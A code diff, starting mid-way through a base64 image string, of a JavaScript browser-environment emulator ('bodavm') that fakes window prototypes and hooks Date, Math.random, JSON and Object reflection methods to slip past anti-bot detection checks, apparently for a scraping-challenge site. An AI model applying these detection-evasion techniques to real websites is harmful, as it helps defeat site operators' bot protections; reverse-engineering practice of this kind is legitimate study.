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"; @@ -21042,7 +84489,7 @@ bodavm.toolsFunc.defineProperty('XSLTProcessor', "transformToFragment", {configu ;;// delete location // debugger ccc=new Date()-threetime -debugger +// debugger // 删除浏览器中不存在的对象 delete global; delete GLOBAL; @@ -21050,8 +84497,12 @@ delete VMError; delete Buffer; delete process; delete root; +// delete Error; delete WindowProperties; + delete globalThis[Symbol.toStringTag]; +delete SharedArrayBuffer; +// delete require // debugger window = globalThis; globalThis.__proto__ =bodavm.memory.globalobj['Window'].prototype @@ -21479,7 +84930,7 @@ bodavm.toolsFunc.windowdefineProperty(window, "WebKitMutationObserver", { writable: true, value: function WebKitMutationObserver() { return bodavm.toolsFunc.dispatch(this, window, "window", "WebKitMutationObserver", arguments); - }() + } }); bodavm.toolsFunc.windowdefineProperty(window, "WebKitCSSMatrix", { configurable: true, @@ -21487,7 +84938,7 @@ bodavm.toolsFunc.windowdefineProperty(window, "WebKitCSSMatrix", { writable: true, value: function WebKitCSSMatrix() { return bodavm.toolsFunc.dispatch(this, window, "window", "WebKitCSSMatrix", arguments); - }() + } }); bodavm.toolsFunc.windowdefineProperty(window, "XPathResult", { configurable: true, @@ -29421,8 +92872,36 @@ bodavm.toolsFunc.windowdefineProperty(window, "chrome", { } } }); -debugger; +// debugger; +//230531新增 +// bodavm.toolsFunc.windowdefineProperty(window, "Error", { +// configurable: true, +// enumerable: false, +// writable: true, +// value: function Error() { +// return bodavm.toolsFunc.dispatch(this, window, "window", "Error", arguments); +// }() +// }); +// const bodadom = new bodaobj['JSDOM'](bodaobj['bohtml_'], +// { +// url: "https://match2023.yuanrenxue.cn/topic/3", +// referrer: "https://match2023.yuanrenxue.cn/topic/3", +// contentType: "text/html", +// includeNodeLocations: true, +// pretendToBeVisual: true, +// runScripts: "dangerously", +// }); +// bodaobj.document=bodadom.document +// bodaobj.window=bodadom.window +// bodaobj.navigator=bodadom.window.navigator +// bodaobj.navigation=bodadom.window.navigation +// window:dom.window, + // document:dom.window.document, + // location:dom.window.location, + // navigator:dom.window.navigator, + // navigation:dom.window.navigation + debugger if (window.length > 0) { window_collect=bodaobj.document.getElementsByTagName('iframe'); for (let i = 0; i < window_collect.length; i++) { @@ -29433,13 +92912,22 @@ if (window.length > 0) { -var boeval = eval; -eval = function (x) { - if (x=='debugger'){return {}} - debugger; - console.log(`执行eval,参数为${x.length > 30 ? x.substr(0, 50) : x}`); - return boeval.call(this, x); -}; +// var boeval = eval; +// eval = function (x) { +// if (x=='debugger'){return function (){}} +// // if (x=="this.a=1"){ +// // // window.a=1 +// // x="{a:1}" +// // res=x +// // console.log_copy(`执行eval,参数为${x.length > 30 ? x.substr(0, 50) : x} `,'res -> true' ,'rs6检测'); +// // return res +// // } +// debugger; +// console.log_copy(`执行eval,参数为${x.length > 30 ? x.substr(0, 50) : x}`); +// res=boeval(x); +// console.log_copy(`eval执行结果为 -->`,res) +// return res +// }; bodavm.toolsFunc.safefunction(eval); window.bodavm.memory.globalobj['Element'].prototype[Symbol.unscopables] = { after: true, @@ -29458,8 +92946,8 @@ window.bodavm.memory.globalobj['Element'].prototype[Symbol.unscopables].__proto_ Object.defineProperty(globalThis, 'window', { get: function window() { // if (bodavm.config.proxy ){ - // window=bodavm.toolsFunc.proxy(window,'window') - // return window + // window=bodavm.toolsFunc.proxy(window,'window') + // return window // }else{ return globalThis // } @@ -29468,37 +92956,103 @@ Object.defineProperty(globalThis, 'window', { // set:function window(){ // debugger // }, - configurable: false, + configurable: bodavm.config.proxy, enumerable:true }); - +// debugger //新增出问题就 注释掉 +// window.__proto__.__proto__.__proto__.__proto__未实现 需要修改__proto__=xx.prototype 为Object.setprototypeof()方法 +// Object.defineProperty(EventTarget.prototype, '__proto__', { +// get: function window() { +// // debugger +// // console.log('get window, __proto__',`!!!!检测!!!!!!`) +// return Object.prototype +// }, +// set:function window(){ +// // debugger +// console.log('set EventTarget.prototype.__proto__',`!!!!检测!!!!!!`) +// if ((typeof arguments[0] !=="object") || arguments[0] ==Object.prototype){ +// return arguments[0] +// }else{ +// bodavm.toolsFunc.throwError(`TypeError: `,`Immutable prototype object '#' cannot have their prototype set +// at set __proto__ [as __proto__] () +// at :1:37`) +// } +// }, +// configurable: false, +// enumerable:true +// }); + +Object.defineProperty(bodavm.memory.globalobj['WindowProperties'].prototype, '__proto__', { + get: function window() { + // debugger + console.log(`get bodavm.memory.globalobj['WindowProperties'].prototype`,`!!!!检测!!!!!!`) + return EventTarget.prototype + }, + set:function window(){ + // debugger + console.log('set window.WindowProperties.prototype',`!!!!检测!!!!!!`) + if ((typeof arguments[0] !=="object") || arguments[0] ==bodavm.memory.globalobj['EventTarget'].prototype){ + return arguments[0] + }else{ + bodavm.toolsFunc.throwError(`TypeError: `,`Immutable prototype object '#' cannot have their prototype set + at set __proto__ [as __proto__] () + at :1:37`) + } + }, + configurable: false, + enumerable:true +}); + +Object.defineProperty(Window.prototype, '__proto__', { + get: function window() { + console.log(`get Window.prototype, '__proto__'`,`!!!!检测!!!!!!`) + + return bodavm.memory.globalobj['WindowProperties'].prototype + }, + set:function window(){ + debugger + console.log('set window.__proto____proto__',`!!!!检测!!!!!!`) + if ((typeof arguments[0] !=="object") || arguments[0] ==bodavm.memory.globalobj['WindowProperties'].prototype){ + return arguments[0] + }else{ + bodavm.toolsFunc.throwError(`TypeError: `,`Immutable prototype object '#' cannot have their prototype set + at set __proto__ [as __proto__] () + at :1:27`) + } + }, + configurable: false, + enumerable:true +}); + Object.defineProperty(window, '__proto__', { get: function window() { - // console.log('get window, __proto__',`!!!!检测!!!!!!`) return Window.prototype }, set:function window(){ + debugger console.log('set window, __proto__',`!!!!检测!!!!!!`) - if (globalThis.__proto__ === arguments[0]){ - return globalThis.__proto__ + if ((arguments.length && typeof arguments[0] !=="object") || arguments[0] ==Window.prototype){ + return arguments[0] }else{ - bodavm.toolsFunc.throwError(`TypeError: `,`mutable prototype object '#' cannot have their prototype set + bodavm.toolsFunc.throwError(`TypeError: `,`Imutable prototype object '#' cannot have their prototype set at set __proto__ ()`) } }, configurable: false, enumerable:true }); + + //新增出问题就 注释掉 Object.defineProperty(globalThis.location,'__proto__',{ - get: function window() { + get: function () { // console.log('get globalThis.location,__proto__',`!!!!检测!!!!!!`) return Location.prototype }, - set:function window(){ + set:function (){ console.log('set globalThis.location,__proto__',`!!!!检测!!!!!!`) if (globalThis.location.__proto__ === arguments[0]){ return globalThis.location.__proto__ @@ -29521,67 +93075,81 @@ Object.defineProperty(window,'require',{ bodavm.toolsFunc.windowdefineProperty(window, "alert", {configurable:true, enumerable:true, writable:true, value:function alert (){return bodavm.toolsFunc.dispatch(this, window, "window", "alert", arguments)}}); +debugger +delete window.__proto__.__proto__.constructor -//改文件下的代码 只能在windows电脑下运行 -bodavm.envFunc.Document_all_get = function Document_all_get() { - debugger - bodavm.memory.all = [] - let a = boallundefined - tags = bodaobj.document.getElementsByTagName("*") - a.__proto__ = bodavm.memory.globalobj['HTMLAllCollection'].prototype - if (bodavm.memory.rs6 && bodavm.memory.rs6_body == 0) { - // let num = 0 - for (let i = 0; i < tags.length - 5; i++) { - // bodavm.memory.all[num] = - a[i] = bodavm.toolsFunc.setProto(tags[i].nodeName) - a[i]._boarg=tags[i] - bodavm.memory.all.push(a[i]) - - // num++ +//获取所有dom节点中带有id的并且赋值给window - } - } - // else if (bodavm.memory.rs6 && bodavm.memory.rs6_body) { - // for (let i = 0; i < tags.length - 2; i++) { - // a[i] = bodavm.toolsFunc.setProto(tags[i].nodeName) - // a[i]._boarg=tags[i] - // bodavm.memory.all.push(a[i]) - // // num++ +boidlist=bodaobj.document.querySelectorAll("[id]") +for (let i = 0; i < boidlist.length; i++) { - // } - // } + window[boidlist[i].id]=bodavm.toolsFunc.setProto(boidlist[i].nodeName) + window[boidlist[i].id]._boarg=boidlist[i] + // debugger +} +// scriptsss=document.scripts +// for (let i = 0; i < scriptsss.length; i++) { +// const element = scriptsss[i]; +// if (element.src){ - else { - for (let i = 0; i < tags.length; i++) { - // bodavm.memory.all[i2] = tags[i2]; - a[i] = bodavm.toolsFunc.setProto(tags[i].nodeName) - a[i]._boarg=tags[i] - bodavm.memory.all.push(a[i]) - } +// }else{ +// debugger +// code=element.innerHTML +// eval(code) +// } + +// } +//230531新增 +// debugger +// new Proxy(navigator.plugins[0],{ +// get:function(){ +// debugger +// } +// }) +//过console检测 +// Object.defineProperty(console,Symbol.toStringTag,{ +// value: 'console', +// configurable: true, +// writable: false, +// enumerable: false +// }) +// console.memory= +// console.toString=function (){ +// return '[object console]' +// } +// $=function(){} +// $.ajax:function(){ +// debugger +// console.log_copy('ajax------',JSON.stringify(arguments)) +// } - // let arg=arguments[0] - // debugger - // if (arg){ - // res=a[arg] - // console.log(`Document_all_get ->`,`arg :${arg} `,`res -> ${res}`) - // return res - } +var $=function (){ +} - // debugger - a._boarg = true - a.__proto__[Symbol.iterator] = Array.prototype[Symbol.iterator]; - console.log("Document_all_get ", `all ->${a}`) - return a +$.get=function(url,data,success,dataType){ + console.log_copy(`$.get -->`,'arg -> ',JSON.stringify(arguments)) + +} +$.post=function(url, data, success, dataType){ + console.log_copy(`$.post -->`,'arg -> ',JSON.stringify(arguments)) + +} +$.ajax=function (obj){ + console.log_copy(`$.ajax -->`,'arg -> ',JSON.stringify(obj)) } +var axios=function(){} +axios.get=function(){ + console.log_copy(`axios.get -->`,'arg -> ',JSON.stringify(arguments)) +} +axios.post=function(){ + console.log_copy(`axios.post -->`,'arg -> ',JSON.stringify(arguments)) -// ldvm.toolsFunc.deleteProperty(alert,"arguments"); // 强行删除 -// ldvm.toolsFunc.deleteProperty(alert,"caller"); -// ldvm.toolsFunc.deleteProperty(alert,"prototype"); -// debugger// 全局变量初始化 +} +// 全局变量初始化 var mytime_stamp = Date.now() // debugger !function () { @@ -29598,7 +93166,7 @@ var mytime_stamp = Date.now() //固定时间值 Date.now_ = Date.now Date.now = function () { - console.log(`Date.now=>被调用 `, `resulit is mytime_stamp:`,mytime_stamp) + console.log_copy(`Date.now=>被调用 `, `resulit is mytime_stamp:`,mytime_stamp) mytime_stamp++ return mytime_stamp } @@ -29606,7 +93174,7 @@ var mytime_stamp = Date.now() //固定时间值 Date.prototype.valueOf_ = Date.prototype.valueOf Date.prototype.valueOf = function valueOf() { - console.log(`Date.prototype.valueOf=>被调用 `, `resulit is mytime_stamp:`,mytime_stamp) + console.log_copy(`Date.prototype.valueOf=>被调用 `, `resulit is mytime_stamp:`,mytime_stamp) mytime_stamp++ return mytime_stamp } @@ -29614,7 +93182,7 @@ var mytime_stamp = Date.now() Date.prototype.getTime_ = Date.prototype.getTime Date.prototype.getTime = function () { - console.log(`Date.prototype.getTime=>被调用 `, `resulit is mytime_stamp`,mytime_stamp) + console.log_copy(`Date.prototype.getTime=>被调用 `, `resulit is mytime_stamp`,mytime_stamp) mytime_stamp++ return mytime_stamp } @@ -29622,7 +93190,7 @@ var mytime_stamp = Date.now() //固定随机值 Math.random_ = Math.random; Math.random = function () { - console.log(`Math.random=>被调用 `, `resulit is Math.random:${0.5}`) + console.log_copy(`Math.random=>被调用 `, `resulit is Math.random:${0.5}`) return 0.5 } bodavm.toolsFunc.safeFunc(Math.random, 'random') @@ -29632,35 +93200,52 @@ var mytime_stamp = Date.now() JSON.stringify_bo = JSON.stringify JSON.stringify = function stringify() { + let stringres='' let arg0 = arguments[0] let arg1 = arguments[1] let arg2 = arguments[2] - if (arg2 == 'bo') { - return JSON.stringify_bo.call(this, arg0, arg1) - } - // debugger - if (arg0 && arg0.length) { - if (arg0.indexOf(console) > -1) { - debugger - console.log('JSON.stringify ', ' console', ' 检测console'); - arg0[arg0.indexOf(console)] = { "memory": {} } + try{ + + + if (arg2 == 'bo') { + return JSON.stringify_bo.call(this, arg0, arg1) } - } else { - if (arg0 == console) { - debugger - console.log('JSON.stringify ', ' console', ' 检测console'); - return '{"memory":{}}' + + debugger + if (arg0 && arg0.length) { + if (arg0+''.indexOf(console) > -1) { + debugger + console.log_copy('JSON.stringify1 ', ' console', ' 检测console'); + arg0[arg0.indexOf(console)] = { "memory": {} } + } + } else { + if (arg0 == console) { + debugger + console.log_copy('JSON.stringify3 ', ' console', ' 检测console'); + return '{"memory":{}}' + } + } + stringres=JSON.stringify_bo.call(this, arg0, arg1) + if (typeof arg0 == 'string') { + console.log_copy(`JSON.stringify4 `, ` arg0:`,arg0.length > 20 ? arg0.substring(0, 20) + '...' : arg0, ` arg1: `,arg1,'-> res ->',stringres) + + } else { + // debugger + if (arg0&&arg0.toString().indexOf("MemoryInfo")>-1){ + console.log_copy('JSON.stringify2 ', ' console', ' 检测console.memory res- > {}'); + + return {} + } + console.log_copy(`JSON.stringify5 `, ` arg0:`,arg0, ` arg1: `,arg1, '->res->',stringres) + + + } + }catch{ + console.log_copy(`JSON.stringify hook出错`, ) } - if (typeof arg0 == 'string') { - console.log(`JSON.stringify `, ` arg0:`,arg0.length > 20 ? arg0.substring(0, 20) + '...' : arg0, ` arg1: `,arg1) - - } else { - console.log(`JSON.stringify `, ` arg0:`,arg0, ` arg1: `,arg1) - - } - return JSON.stringify_bo.call(this, arg0, arg1) + return stringres } @@ -29671,7 +93256,13 @@ var mytime_stamp = Date.now() JSON.parse = function parse() { let arg0 = arguments[0] let arg1 = arguments[1] - console.log(`JSON.parse `, ` arg0:`,arg0.length > 40 ? arg0.substring(0, 40) + '...' : arg0, ` arg1:`,arg1) + try{ + console.log_copy(`JSON.parse `, ` arg0:`,arg0.length > 40 ? arg0.substring(0, 40) + '...' : arg0, ` arg1:`,arg1) + + }catch{ + console.log_copy(`JSON.parse hook出错`, ) + + } return JSON.parse_bo.apply(this, arguments) } bodavm.toolsFunc.safefunction(JSON.parse, 'parse') @@ -29682,20 +93273,33 @@ var mytime_stamp = Date.now() Object.getOwnPropertyDescriptor = function getOwnPropertyDescriptor() { let obj = arguments[0] let prop = arguments[1] - if (prop == 'constructor') { - // if (obj ==document){debugger} - return Object.getOwnPropertyDescriptor_bo.call(this, arguments[0],arguments[1]) - } - debugger + let desc_res; + try{ + if (obj ===window && prop =='__proto__'){ + // objres={value: undefined, writable: false, enumerable: false, configurable: false} + // console.log_copy(`Object.getOwnPropertyDescriptor -->`,'传入参数为winodw检测 -> res -> ',objres); + return undefined + } + if (prop == 'constructor') { + // if (obj ==document){debugger} + return Object.getOwnPropertyDescriptor_bo.call(this, arguments[0],arguments[1]) + } + debugger + + desc_res = Object.getOwnPropertyDescriptor_bo.call(this, arguments[0],arguments[1]) + if (desc_res && (desc_res['_boarg'] || desc_res['_boisinit'] || desc_res['_contentiframe'] )){ + delete desc_res['_boarg'] + delete desc_res['_boisinit'] + delete desc_res['_contentiframe'] + } + + console.log_copy(`Object.getOwnPropertyDescriptor--> `, ` obj:`,obj, `->`, `prop:`,prop,` ->`, ` res ->`,desc_res,` !!!!检测`); + + }catch{ + console.log_copy(`Object.getOwnPropertyDescriptor hook出错`) - desc_res = Object.getOwnPropertyDescriptor_bo.call(this, arguments[0],arguments[1]) - if (desc_res && (desc_res['_boarg'] || desc_res['_boisinit'] || desc_res['_contentiframe'] )){ - delete desc_res['_boarg'] - delete desc_res['_boisinit'] - delete desc_res['_contentiframe'] } - console.log(`Object.getOwnPropertyDescriptor==> `, ` obj:`,obj, `->`, `prop:`,prop,` ->`, ` res ->`,desc_res,` !!!!检测`); return desc_res } bodavm.toolsFunc.safefunction(Object.getOwnPropertyDescriptor, 'getOwnPropertyDescriptor') @@ -29704,12 +93308,16 @@ var mytime_stamp = Date.now() Object.getOwnPropertyDescriptors_bo = Object.getOwnPropertyDescriptors Object.getOwnPropertyDescriptors = function getOwnPropertyDescriptors() { let arg0 = arguments[0] - debugger + let descs_res; + try{ + + descs_res = Object.getOwnPropertyDescriptors_bo.apply(this, arguments) - if (descs_res && (descs_res['_boarg'] || descs_res['_boisinit'] || descs_res['_contentiframe'] )){ + if (descs_res && (descs_res['_boarg'] || descs_res['_boisinit'] || descs_res['_contentiframe'] || descs_res['__proto__'])){ delete descs_res['_boarg'] delete descs_res['_boisinit'] delete descs_res['_contentiframe'] + delete descs_res['__proto__'] } // ldvm.toolsFunc.deleteProperty(descs_res,'length') // descs_res[0].configurable=true @@ -29720,28 +93328,73 @@ var mytime_stamp = Date.now() descs_res[i].writable=false } } - console.log(`Object.getOwnPropertyDescriptors==> `, `arg0:`,arg0,` ->`, `res ->`,descs_res, `!!!!检测`); + console.log_copy(`Object.getOwnPropertyDescriptors--> `, `arg0:`,arg0,` ->`, `res ->`,descs_res, `!!!!检测`); + }catch{ + console.log_copy(`Object.getOwnPropertyDescriptors hook出错`) + + } return descs_res } bodavm.toolsFunc.safefunction(Object.getOwnPropertyDescriptors, 'getOwnPropertyDescriptors') Object.getOwnPropertyNames_bo = Object.getOwnPropertyNames - Object.getOwnPropertyNames = function getOwnPropertyDescriptor() { + Object.getOwnPropertyNames = function getOwnPropertyNames() { let arg0 = arguments[0] let name_res = Object.getOwnPropertyNames_bo.apply(this, arguments) - for (let i =0;i `,`this ->`,bodavm.toolsFunc.getType(this),`->`, ` arg0:`,arg0,` ->`, ` name_res->`,name_res,` !!!检测`); + + + // debugger + + console.log_copy(`Object.getOwnPropertyNames--> `,`this ->`,this,`->`, ` arg0:`,arg0,` ->`, ` name_res->`,JSON.stringify_bo(name_res),` !!!检测`); + }catch{ + console.log_copy(`Object.getOwnPropertyNames hook出错`) + + } + return name_res } bodavm.toolsFunc.safefunction(Object.getOwnPropertyNames, 'getOwnPropertyNames') @@ -29749,15 +93402,33 @@ var mytime_stamp = Date.now() Object.getPrototypeOf_bo = Object.getPrototypeOf Object.getPrototypeOf = function (obj) { - console.log(`Object.getPrototypeOf `, `this ->`,bodavm.toolsFunc.getType(this),`->`,` obj:`,obj, '!!!!检测'); + try{ + console.log_copy(`Object.getPrototypeOf `, `this ->`,bodavm.toolsFunc.getType(this),`->`,` obj:`,obj, '!!!!检测'); + + }catch{ + console.log_copy(`Object.getPrototypeOf hook出错`) + + } return Object.getPrototypeOf_bo.apply(this, arguments) } - bodavm.toolsFunc.safefunction(Object.getOwnPropertyNames, 'getOwnPropertyNames') + bodavm.toolsFunc.safefunction(Object.getPrototypeOf, 'getPrototypeOf') Object.getOwnPropertySymbols_bo = Object.getOwnPropertySymbols Object.getOwnPropertySymbols = function getOwnPropertySymbols(arg) { - let symbols_res = Object.getOwnPropertySymbols_bo.apply(this, arguments) - console.log('Object.getOwnPropertySymbols ',`this ->`,bodavm.toolsFunc.getType(this),`->`,` arg:`,arg, ` symbols_res ->`,symbols_res,` !!!!检测`); + let 